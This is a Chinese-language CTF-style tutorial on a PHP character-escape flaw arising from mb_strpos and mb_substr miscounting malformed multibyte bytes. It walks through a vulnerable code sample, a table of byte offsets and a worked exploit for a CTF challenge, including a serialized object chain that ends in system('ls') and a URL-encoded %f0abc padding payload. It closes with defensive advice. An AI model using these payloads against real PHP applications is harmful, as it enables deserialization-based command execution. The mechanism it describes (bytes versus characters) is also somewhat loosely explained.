由mb_strpos和mb_substr组合引发的字符逃逸
字数 1477 2025-11-26 12:31:31
字符编码处理漏洞:mb_strpos与mb_substr组合引发的字符逃逸
漏洞原理分析
1. 漏洞代码示例
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
echo $start.'<br>';
$end = mb_strpos($data, "]");
echo $end.'<br>';
return mb_substr($data, $start + 1, $end - 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."world");
echo $key;
2. 函数功能解析
该代码定义了一个自定义函数substrstr(),其内部逻辑如下:
-
定位边界字符:
- 使用
mb_strpos($data, "[")查找左中括号[的位置索引 - 使用
mb_strpos($data, "]")查找右中括号]的位置索引
- 使用
-
字符串截取:
- 使用
mb_substr($data, $start + 1, $end - 1 - $start)截取两个边界字符之间的内容
- 使用
-
参数拼接:
- 输入参数通过
$_GET[0]."[welcome".$_GET[1]."world"方式拼接 - 最终形成完整的字符串进行处理
- 输入参数通过
字符编码差异导致的漏洞
核心问题:多字节字符处理不一致性
mb_strpos和mb_substr函数在处理多字节字符时存在计算差异:
- mb_strpos:按照实际字节数计算位置
- mb_substr:按照字符数计算位置
3. 漏洞触发机制
情况一:使用%9f字符
测试输入:
- 参数0:
%9f - 参数1:
1
处理过程:
- 拼接后的字符串:
%9f[welcome1world mb_strpos将%9f识别为1个字节,找到[的位置索引为1mb_substr将%9f识别为1个字符,从位置2开始截取- 实际截取结果:
welcome1wor
关键发现:
%9f导致字符串索引计算出现偏差mb_strpos和mb_substr对同一字符的字节计数不一致
情况二:使用%f0字符
测试输入:
- 参数0:
%f0 - 参数1:
1
处理过程:
- 拼接后的字符串:
%f0[welcome1world mb_strpos将%f0识别为多个字节(具体取决于编码)- 产生更大的位置偏移,吃掉更多字符
4. 字节差异计算规则
通过实验得出以下规律:
| 输入字符组合 | mb_strpos计数字节数 | mb_substr计数字符数 | 相差字节数 |
|---|---|---|---|
%f0abc |
4字节 | 1字符 | 3字节 |
%f0%9fab |
3字节 | 1字符 | 2字节 |
%f0%9f%9fa |
2字节 | 1字符 | 1字节 |
5. 实际漏洞利用案例
Base2024 ez_php题目分析
漏洞利用场景:
// 题目关键代码
$pre = $_GET['substr'];
$ctf = unserialize($_POST['ctf']);
echo $pre."[".serialize($ctf)."]";
利用步骤:
- 构造恶意序列化数据:
O:6:"Hacker":3:{s:5:"start";s:216:"{{{'a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}'}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
-
计算需要吃掉的字符数:需要绕过38个字符
-
构造payload:
- 使用12个
%f0abc:每个吃掉3字节 × 12 = 36字节 - 使用1个
%f0%9fab:吃掉2字节 - 总计:36 + 2 = 38字节
最终payload:
%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab
6. 防御措施
- 统一字符处理函数:确保在同一应用中使用一致的字符处理函数
- 输入验证:对用户输入进行严格的字符编码验证
- 长度检查:在处理前后进行字符串长度一致性验证
- 编码声明:明确指定字符编码格式,避免自动检测带来的不确定性
7. 总结
该漏洞的核心在于多字节字符处理函数之间的不一致性,攻击者通过精心构造的多字节字符,利用mb_strpos和mb_substr对字符计数方式的差异,实现字符逃逸和边界绕过。在实际渗透测试中,这种漏洞常出现在字符串处理、序列化数据解析等场景中。